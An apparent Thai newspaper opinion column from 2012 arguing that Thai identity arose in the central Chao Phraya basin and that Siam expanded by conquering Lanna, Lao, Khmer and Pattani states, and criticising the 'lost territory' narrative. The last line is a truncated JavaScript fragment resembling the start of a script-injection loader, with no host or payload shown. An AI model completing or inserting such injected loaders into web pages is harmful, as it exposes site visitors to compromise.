มติชนรายวัน ฉบับประจำวันอังคารที่ 24 เมษายน 2555

 

          คนไทยและความเป็นไทยที่สืบกันมาจนทุกวันนี้ แรกมีขึ้นบริเวณลุ่มน้ำเจ้าพระยา เมื่อหลัง พ.ศ. 1600

          มีเหตุจากเมื่อสำเภาจีนมีบทบาททางการค้าเฟื่องฟูกว่าแต่ก่อน ทำให้คนพูดตระกูลภาษาไทย-ลาวกลุ่มหนึ่งเคลื่อนย้ายจากสองฝั่งโขงและสาละวินมาอยู่ในวัฒนธรรมมอญ-เขมร สมมุติชื่อเรียกตัวเองว่า“ไทย” หรือ“คนไทย” ให้ต่างจากลาว และต่างจากตระกูลไทย-ลาวอื่นๆ

          ลุ่มน้ำเจ้าพระยา หลักแหล่งพวกเรียกตัวเองว่า“คนไทย” แล้วเรียกประเทศว่า“เมืองไทย” อยู่ภาคกลางที่แบ่งเป็น 2 ตอน คือ ตอนบนกับตอนล่าง

          ตอนบน เป็นดินแดนของรัฐสุโขทัย เหนือสุดที่อุตรดิตถ์และตาก ใต้สุดที่นครสวรรค์

          ตอนล่าง เป็นดินแดนของรัฐละโว้(ลพบุรี), รัฐสุพรรณภูมิ(สุพรรณบุรี), รัฐเพชรบุรี(เพชรบุรี) ภายหลังรวมถึงรัฐนครศรีธรรมราช(นครฯ)

          ราว พ.ศ. 1900-2000 รัฐตอนบนกับตอนล่างรวมกันเป็นราชอาณาจักรสยาม หรือกรุงศรีอยุธยา มีศูนย์กลางอยู่อยุธยา

          บริเวณอื่นๆนอกเหนือจากภาคกลางไม่ใช่ไทย

          ขณะนั้นภาคเหนือเป็นรัฐเอกราช เรียกล้านนา คนในล้านนาเรียกตัวเองว่า“ลาว”(ไม่ใช่คนไทย) ภาคตะวันออกเฉียงเหนือเป็นรัฐเอกราช แยกหลายรัฐ เช่น รัฐล้านช้าง เวียงจัน เรียกตัวเองว่า“ลาว”(ไม่ใช่คนไทย) ภาคใต้เป็นรัฐเอกราช แยกหลายรัฐ เช่น รัฐปัตตานี เรียกตัวเองว่า“มลายู”(ไม่ใช่คนไทย)

          เมื่อกรุงแตก พ.ศ. 2310 ได้ย้ายศูนย์กลางจากอยุธยาไปอยู่กรุงธนบุรี แล้วย้ายอีกทีไปอยู่กรุงรัตนโกสินทร์ สืบเป็นประเทศสยาม กระทั่งเปลี่ยนชื่อเป็นประเทศไทย เมื่อ พ.ศ. 2482 (นับถึงปัจจุบันราว 73 ปีมาแล้ว)

          หลักฐานประวัติศาสตร์โบราณคดียืนยันตรงกันหมด ว่าคนไทยและความเป็นไทยแรกมีขึ้นราวหลัง พ.ศ. 1600 บริเวณลุ่มน้ำเจ้าพระยา ภาคกลาง แล้วสืบศิลปวัฒนธรรมและเศรษฐกิจการเมืองจากราชอาณาจักรสยามที่กรุงศรีอยุธยา ซึ่งมีขอบเขตเหนือสุดที่อุตรดิตถ์-ตาก และใต้สุดที่นครศรีธรรมราช-สงขลาเท่านั้น

          หลังกรุงแตก เมื่อตั้งหลักสร้างบ้านแปลงเมืองได้แล้วเริ่มขยายอำนาจตีบ้านชิงเมือง“ได้ดินแดน”ของรัฐต่างๆมาผนวกเป็นของตน ดังนี้

          พระเจ้าตาก ตีรัฐล้านนากับรัฐเวียงจัน แล้วให้พระยาจักรี(ร.1)ไปตีเขมร หลังจากนั้นได้ดินแดนเขมร แล้วมีกรณีพิพาทกับฝรั่งเศส

          ร.1 ตีได้รัฐปัตตานี

          ร.3 เผาเวียงจัน(มีพยานอยู่ในนิราศทัพเวียงจัน แต่งโดยหม่อมเจ้าทับ ในกรมหลวงเสนีบริรักษ์ ที่อยู่ในเหตุการณ์เผาเวียงจัน) แล้วยึดดินแดนบ้านเมืองในอีสานและสองฝั่งโขง

          รายละเอียดการ“ได้ดินแดน”ของคนอื่นมาเป็นของตนยังมีอีกมาก ขอให้ดูงานวิจัยค้นคว้าของโครงการตำราฯ โดย อ. ชาญวิทย์ เกษตรศิริ และคณะ

          เมื่อพยานหลักฐานเป็นอย่างนี้ แต่ไทยสมัยหลังตราบจนทุกวันนี้พร่ำเพ้อฟูมฟายเรื่อง“เสียดินแดน” อันเป็นสิ่งที่“ได้ดินแดน”จากเพื่อนบ้านโดยรอบ

          เราเคยถามตัวเองบ้างไหม? ว่าเพื่อนบ้านที่ไหน? จะอยากร่วมประชาคมด้วยอย่างสนิทใจ แล้วประชาคมอาเซียนจะราบรื่นอย่างไร?

 

var d=document;var s=d.createElement(‘script’);